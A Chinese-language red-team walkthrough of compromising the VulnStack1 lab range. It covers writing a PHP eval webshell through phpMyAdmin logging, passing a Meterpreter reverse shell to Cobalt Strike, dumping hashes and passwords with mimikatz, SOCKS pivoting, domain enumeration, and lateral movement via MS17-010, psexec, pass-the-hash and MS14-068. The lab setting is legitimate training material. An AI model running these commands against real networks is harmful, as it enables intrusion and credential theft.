紅藍對抗 | 內網滲透實戰技巧

  • 2020 年 3 月 12 日
  • 筆記

拿下Web服務器

phpmyadmin後台getshell

後滲透第一步

派生CobaltStrike權限

獲得System權限

獲取賬號密碼

遠程桌面登錄

添加路由、掛Socks4a代理

域信息收集

內網主機信息收集

內網存活主機探測

內網存活主機端口掃描

內網存活主機服務探測

內網橫向滲透攻擊技巧

MS17-010

CVE-2019-0708

psexec攻擊

哈希傳遞攻擊

MS14-068

本文章是關於內網方面滲透技巧的一個文章,用的環境是VulnStack1,VulnStack是紅日安全團隊出的一個內網滲透的靶機環境,感謝紅日團隊

地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

主要以該環境講解內網滲透的技術。

拓撲圖如下

  • Web服務器(Windows7): 192.168.10.14 、192.168.52.143 主機名:stu1
  • 域成員主機(Windows Server 2003):192.168.52.141 主機名:root-tvi862ubeh
  • 域控(Windows Server 2008): 192.168.52.138 主機名:owa

其中,Web服務器的192.168.10.14模擬公網地址,我們可以直接訪問192.168.10.14。但是我們訪問不了192.168.52.0網段。

拿下Web服務器

本文主要是講內網滲透方面,所以關於怎麼拿下Web服務器,比較粗略的過。

說下我們對Web服務器的思路吧。在紅藍對抗中,拿到了入口站點,我們首先會想辦法獲取入口點的shell,再以此掛隧道通內網。而拿shell無非是上傳木馬、SQL注入、反序列化。而在很多網站的登錄後台後,會存在文件上傳漏洞,進而getshell。

訪問Web服務器地址:http://192.168.10.14/yxcms/

它是一個yxcms的站點。關於yxcms的漏洞,傳送門:代碼審計| yxcms app 1.4.6 漏洞集合

對於yxcms我也不熟悉,之前沒接觸過。拿到目標第一先用御劍掃描下後台吧

發現phpmyadmin後台登錄地址:http://192.168.10.14/phpmyadmin/

發現一個壓縮包文件,該文件是網站的壓縮包文件:http://192.168.10.14/beifen.rar

發現phpinfo文件:http://192.168.10.14/phpinfo.php

發現一些比較敏感的目錄,這些目錄都存在目錄遍歷漏洞

  • http://192.168.10.14/yxcms/robots.txt
  • http://192.168.10.14/yxcms/data/
  • http://192.168.10.14/yxcms/public/
  • http://192.168.10.14/yxcms/upload/
  • http://192.168.10.14/yxcms/protected/

phpmyadmin後台getshell

對phpmyadmin後台進行爆破,得到賬號密碼:root/root

進入phpmyadmin後台後,獲取shell。傳送門:phpmyadmin爆破和後台getshell

這裡由於 secure_file_priv的值為NULL,所以我們不能利用寫into outfile寫木馬getshell。

這裡我們利用日誌文件Getshell。傳送門:phpmyadmin利用日誌文件Getshell

執行以下命令

set global general_log=on;                                     #開啟日誌  set global general_log_file='C:/phpstudy/www/yxcms/hack.php';  #設置指定文件為網站日誌存放文件  SELECT '<?php eval($_POST["cmd"]);?>'               #執行該語句,會將該命令寫入日誌文件中

最後用菜刀連接,如下。

後滲透第一步

在拿到了Web服務器的權限後,我們就要儘可能多的搜集該服務器的信息,然後搭建隧道通往內網!

執行以下命令我們知道當前的用戶身份是 administrator ,在管理員組中,並且處在域 god 中。該主機有兩張網卡

分別是:192.168.10.14,192.168.52.143。

由此可知,其實獲得的這個權限就是域管理員權限。(搞不懂環境為啥要以域管理員賬號登錄,為啥不以本地普通用戶登錄??)

現在我們想反彈一個MSF的shell。將MSF生成的木馬上傳到該主機上,執行,反彈成功!

派生CobaltStrike權限

首先在CobaltStrike上開啟一個監聽

然後在MSF中執行以下操作,我們的CobaltStrike就接收到反彈過來的shell了。

use exploit/windows/local/payload_inject  set payload windows/meterpreter/reverse_http  set DisablePayloadHandler true   #默認情況下,payload_inject執行之後會在本地產生一個新的handler,由於我們已經有了一個,所以不需要在產生一個,所以這裡我們設置為true  set lhost xxxx                 #cobaltstrike監聽的ip  set lport 14444                 #cobaltstrike監聽的端口  set session 1                   #這裡是獲得的session的id  exploit

獲得System權限

這裡由於獲得的直接是adminsitrator權限,所以可以直接提到system。在真實環境中,這裡很多時候都是一個普通用戶權限,需要我們去提權。

獲取賬號密碼

1:導出hash

run hashdump

2:導出hash

run windows/gather/smart_hashdump

3:加載 kiwi模塊

這裡嘗試加載kiwi模塊,獲取不到賬號密碼

load kiwi  creds_all

4:加載 mimikatz 模塊

再嘗試加載 mimikatz 模塊,加載模塊前需要先將meterpreter遷移到64位的進程,而且該進程也需要是system權限運行的。

如圖,成功獲得賬號密碼:administrator/hongrisec@2019

migrate PID  load mimikatz  mimikatz_command -f sekurlsa::searchPasswords

遠程桌面登錄

這裡我們已經獲得了administrator的賬號和密碼,現在我們既可以使用administrator賬號登錄,也可以新建賬號登錄(hack/Password@)。(不建議直接用administrator身份登錄,因為這樣有可能會驚動管理員)

通過nmap掃描發現該主機的3389端口呈過濾狀態,由此猜想可能是防火牆將該端口過濾了

於是執行以下命令開啟3389端口

run post/windows/manage/enable_rdp

再次探測發現3389端口已是open狀態

嘗試3389遠程登錄該主機,但是彈出如果我們繼續登錄,則會斷開該主機的當前連接。為了不驚動管理員,這裡我們不繼續連接了。

添加路由、掛Socks4a代理

  • 添加路由的目的是為了讓我們的MSF其他模塊能訪問內網的其他主機
  • 添加socks4a代理的目的是為了讓其他軟件更方便的訪問到內網的其他主機的服務

註:添加路由一定要在掛代理之前,因為代理需要用到路由功能

#添加路由  route add 0.0.0.0 0.0.0.0 1  run print    #添加socks4a代理  use auxiliary/server/socks4a  run  #然後打開/etc/proxychains.conf,加入下面一行  socks4 0.0.0.0 1080    #然後就可以使用nmap了  proxychains nmap -p 21 -Pn -sT x.x.x.x     #在打開其他程序前加上proxychains

我們也可以在本機設置socks4代理,指向我們vps的1080端口。那麼,我們本地的流量就會交給VPS的1080端口,而1080端口是MSF起的,MSF又添加了到內網的路由,自然我們就可以訪問到內網的主機。

這裡我實測用MSF掛的socks4a代理並不穩定,建議實戰環境用 FRP 起的 socks5 代理,這裡我為了省事直接用MSF的socks代理。其實新版的MSF也有了socks5代理,不過好像也不是很好用。

域信息收集

net time /domain        #查看時間服務器  net user /domain        #查看域用戶  net view /domain        #查看有幾個域  net group "domain computers" /domain         #查看域內所有的主機名  net group "domain admins"   /domain          #查看域管理員  net group "domain controllers" /domain       #查看域控

從域信息收集可以得到以下信息:

  • 域:god.org
  • 域內有三個用戶:administrator、ligang、liukaifeng01
  • 域內有三台主機: DEV1(不在此環境中) ROOT-TVI862UBEH(192.168.52.141) STU1(192.168.52.143)
  • 域控:OWA(192.168.52.138)
  • 域管理員:administrator

由此可見,我們現在獲得的即是域管理員權限。此環境內還有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。

內網主機信息收集

我們現在想進行內網橫向滲透,就需要收集更多的信息,內網滲透信息收集是非常重要的一步。

由於我們之前添加了路由信息並且掛了Socks4a代理,所以我們現在可以使用MSF裏面的探測模塊以及nmap對內網進行探測。

內網存活主機探測

這一步在域環境滲透中可以省略,因為使用域命令可以直接查詢域中有哪些主機。在非域環境中滲透,可以使用這一步。

在這裡順帶提一下這個用法。更多的關於使用MSF進行內網探測,傳送門:後滲透階段之基於MSF的內網主機探測

auxiliary/scanner/discovery/udp_sweep    #基於udp協議發現內網存活主機  auxiliary/scanner/discovery/udp_probe    #基於udp協議發現內網存活主機  auxiliary/scanner/netbios/nbname         #基於netbios協議發現內網存活主機

內網存活主機端口掃描

1:使用MSF自帶模塊進行端口探測

auxiliary/scanner/portscan/tcp           #基於tcp進行端口掃描(默認掃描1-10000)

2:使用 proxychains 代理鏈利用 nmap 對內網主機進行端口探測

內網存活主機服務探測

auxiliary/scanner/ftp/ftp_version            #發現內網ftp服務,基於默認21端口  auxiliary/scanner/ssh/ssh_version            #發現內網ssh服務,基於默認22端口  auxiliary/scanner/telnet/telnet_version      #發現內網telnet服務,基於默認23端口  auxiliary/scanner/dns/dns_amp                #發現dns服務,基於默認53端口  auxiliary/scanner/http/http_version          #發現內網http服務,基於默認80端口  auxiliary/scanner/http/title                 #探測內網http服務的標題  auxiliary/scanner/smb/smb_version            #發現內網smb服務,基於默認的445端口  auxiliary/scanner/mssql/mssql_schemadump     #發現內網SQLServer服務,基於默認的1433端口  auxiliary/scanner/oracle/oracle_hashdump     #發現內網oracle服務,基於默認的1521端口  auxiliary/scanner/mysql/mysql_version        #發現內網mysql服務,基於默認3306端口  auxiliary/scanner/rdp/rdp_scanner            #發現內網RDP服務,基於默認3389端口  auxiliary/scanner/redis/redis_server         #發現內網Redis服務,基於默認6379端口  auxiliary/scanner/db2/db2_version            #探測內網的db2服務,基於默認的50000端口  auxiliary/scanner/netbios/nbname             #探測內網主機的netbios名字

經過了以上幾步,我們就可以大致判斷內網存活的主機、主機開放的端口以及服務這些基本信息了。

內網橫向滲透攻擊技巧

在對內網主機進行信息收集後,接下來我們就是要對內網主機發動攻擊了。內網攻擊方法有下面這些。

MS17-010

永恆之藍在內網滲透中是屢試不爽的,基本上一打一大片。但是MS17-010在實際紅藍對抗滲透中(通過代理打內網)並不好利用,MSF中自帶的模塊要打很多次才能成功一次,而且MSF自帶的模塊打sever2003的機器很容器藍屏。注意這裡的payload必須設置為正向連接 bind_tcp。

如下,第一次打就沒打成功。

CVE-2019-0708

該漏洞是今年爆出的一個windows RDP協議的漏洞,但是測了一下,發現該主機不存在該漏洞。另外,該漏洞成功率也不高,而且極有可能把目標機打成藍屏的結果。所以在真實紅藍對抗中不建議使用該漏洞,除非有百分百的把握能打成功

psexec攻擊

我們已經獲得了域管理員 god/administrator 的賬號密碼,我們現在可以使用該域管理員賬號密碼利用 psexec 登錄域內任何一台開啟了admin$共享(該共享默認開啟) 的主機。

註:由於提示需要修改密碼,所以已將 god/administrator 的密碼改為 Password@ 。

psexec.exe \192.168.52.138 -u godadministrator -p Password@ cmd

但是在連接 Server2003服務器 的時候出了點小問題,提示服務沒有及時響應啟動或控制請求。

哈希傳遞攻擊

在域環境內,只有獲得了域管理員的哈希才可以攻擊。這裡假設我們得到了域管理員administrator的哈希,但是沒有得到明文密碼。在這裡我們就可以用哈希傳遞攻擊了。

在前面獲得了域管理員 administrator 的NTLM哈希為:c456c606a647ef44b646c44a227917a4
sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

MS14-068

MS14-068漏洞適用於當我們獲得了普通域用戶的哈希,域控存在MS14-068漏洞的場景。我們現在想利用獲得了普通域用戶哈希去訪問域控。

但是這裡我們是直接獲得了域管理員的哈希,這裡只是演示下MS14-068漏洞的攻擊手法

先獲取需要利用的域用戶的SID值

#生成票據[email protected]  MS14-068.exe -u [email protected] -p Password@ -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138       #MS14-068.exe -u 域用戶@dog.org -p 域用戶密碼 -s 域用戶的SID -d 域控ip    #在mimikatz中導入票據  kerberos::ptc  [email protected]的路徑    然後再打開一個cmd窗口嘗試訪問域控  dir \192.168.52.138c$
來源:謝公子博客

責編:Vivian